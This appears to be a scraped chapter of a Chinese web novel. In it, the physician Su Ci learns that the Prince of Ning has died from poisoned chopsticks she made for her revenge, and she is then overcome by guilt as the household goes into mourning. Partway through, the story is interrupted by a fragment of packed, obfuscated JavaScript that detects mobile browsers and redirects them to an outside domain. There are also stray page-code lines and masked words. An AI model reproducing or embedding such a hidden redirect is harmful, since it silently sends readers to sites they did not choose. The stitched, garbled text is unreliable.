热意疯狂的从脖颈蔓延至耳根,再烧到整张脸上。
幸好,这屋里只有一豆烛火,萧执看不见。
她埋首于被褥间,声音闷闷地传出来:“你不必为我做这些。”
这不是她第一次说类似的话。
她总想在他和她的关系之间,划下一道清晰的界线。他为她提供庇护,她为他医治身体、铲除仇敌。
一切都该是等价交换,不该掺杂任何多余的情感。
身后的人沉默了。
苏瓷的心,莫名地往下沉了沉,却又有一丝说不清道不明的暖意,像冬日里一小簇微弱的火苗,执拗地在心底燃烧。
这一夜,两人再无言语。
苏瓷以为自己会彻夜难眠,可或许是白天耗费了太多心神,
又或许是身后的体温和心跳太过安稳,她竟在不知不觉中沉沉睡去。
……
接下来的日子,宁王府陷入了一种诡异的平静。
宁王依旧每日派人来请萧执,嘘寒问暖,继续努力的扮演着一个慈父。
萧执也依旧配合着,每日过去请安、用膳,父慈子孝的场面,在外人看来,竟是前所未有的和谐。
只有苏瓷知道,这只是山雨欲来之前的平静。她每日都在等待,等待那只靴子落地的声音。
这一日,午膳时分。
秋日的阳光透过窗棂,在桌上投下斑驳的光影。厨房新送来的蟹酿橙,香气扑鼻。
萧执正慢条斯理地为苏瓷剥着一只晶莹剔透的虾仁,剔除虾线,再自然不过地放进她面前的白瓷小碟里。
苏瓷已经习惯了他这种投喂式的照顾,正要夹起那块虾仁,院外忽然传来一阵急促而慌乱的脚步声。
“世子!世子!”
一名内侍总管连滚爬爬地冲了进来,脸上毫无血色,噗通一声跪在地上,
声音抖得不成样子:“王爷……王爷他……薨了!”
“轰——”
苏瓷手里的银箸“哐当”一声掉在地上,发出一声清脆的刺响。
来了。
终于来了。
她缓缓站起身,目光越过跪在地上的内侍,望向庭院里那棵枝叶已经开始枯黄的梧桐树。
那个让她家破人亡,让她背负血海深仇的男人,**。
死在她亲手制作的毒筷之下。
一股狂喜涌上心头,她成功了,
她为苏家满门报了第一个大仇!爹,娘,哥哥……你们看见了吗?
这股极致的喜悦还未抵达眼眶,化作泪水涌出,另一股同样强烈的情绪便从胃里翻涌了上来。
是恶心。
她是个医者,双手是用来救人的。
可现在,这双手,沾满了她仇人的血。
“呕——”
苏瓷再也忍不住,猛地转身冲到廊下,扶着廊柱,剧烈地干呕起来。
她什么也吐不出来,只有酸涩的胆汁一阵阵往上冒,灼烧着她的喉咙。
眼泪和冷汗混在一起,顺着她苍白的脸颊滑落。
一只手,稳稳地扶住了她的后背,轻轻地、有节奏地拍打着。
“没事了。”
萧执的声音在耳边响起,一如既往的平静。
他不知何时走到了她身边,另一只手上还拿着一杯温热的茶水。
苏瓷接过茶水漱了口,那股恶心的感觉才稍稍平复了些。她抬起头,对上萧执深邃的眼眸。他的脸上没有任何表情,看不出喜悦也看不出悲伤,仿佛死的不是他的父亲,只是一个无关紧要的路人。
他扶着苏瓷,让她在廊下的椅子上坐好,又拿过一件披风,盖在她的身上。
“平元。”
“在。”
“去看看。”
“是。”平元的身影一闪而逝。
萧执这才重新看向那名跪在地上的内侍总管:“怎么回事?”
那总管早已吓得魂不附体,哆哆嗦嗦地回话:
“王爷……王爷正在用膳,说、说是等世子您过去。可没吃几口,就突然捂着心口,说喘不上气……
太医就在旁边,可、可还没来得及施针,人……人就没了……”
“太医怎么说?”
“太医们会诊,都、都说是……心痹之症,积劳成疾,突然发作……”
萧执听完,只淡淡地“嗯”了一声。
他转向苏瓷,见她脸色依旧苍白,便伸手探了探她的额头,确认没有发热,才略微放心。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055426|179036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“你先回房歇着。”他说道,“外面的事,我来处理。”
说完,他便转身,向着院外走去。
苏瓷看着他的背影消失在月亮门后,这才缓缓站起身。
几乎是同一时间,王府的深处,一声凄厉至极的哭嚎划破了长空。
“王爷——!”
那是赵姨娘的声音。
紧接着,此起彼伏的哭声、喧哗声、脚步声,像是被投入石子的湖面,一圈圈地荡漾开来,瞬间吞没了整座宁王府。
府里的姨娘们,平日里争奇斗艳,此刻却像是约好了一般,哭得一个比一个凄惨,一个比一个情真意切。
仿佛她们失去的不是一个靠山,而是一生的挚爱。
苏瓷的院子叫清晖园,位置偏僻,本是府中最安静的角落。
可此刻,那些哀乐与哭嚎,依旧无孔不入地传了进来。
她回到房中,关上门,想将那些声音隔绝在外,却徒劳无功。
她坐在梳妆台前,看着铜镜里那个面色惨白的自己,竟觉得无比陌生。
她报了仇。
可她,也成了一个**凶手。
这笔账,是对是错,她已经分不清了。
手上黏腻的罪恶感,让她控制不住地颤抖。
宁王薨逝的消息,不出半日便传遍了整个京城。
皇上震恸,下令以亲王之礼厚葬,并遣了内官监和礼部官员前来协助办理丧事。
一时间,偌大的宁王府挂满了白幡,下人们一律缟素,府里府外,一片肃杀。
萧执作为宁王唯一的嫡子,名正言顺地接管了王府的一切。
他忙得脚不沾地,一边要应付宫里来的人,一边要安排丧礼的诸多事宜,还要弹压府中那些各怀鬼胎的牛鬼蛇神。
清晖园,反而成了风暴中最平静的地方。
苏瓷自那日之后,便一直待在院子里,大门不出。
小满和云燕还未被萧执放回来,她坐在窗前,手里捧着一本医书,目光却始终无法聚焦在书页之上。
就在出神之际,院外忽然传来一阵尖锐的叫骂声,打破了宁静。
“让开!都给我让开!本夫人要进去看看,到底是哪个丧门星,克**王爷!”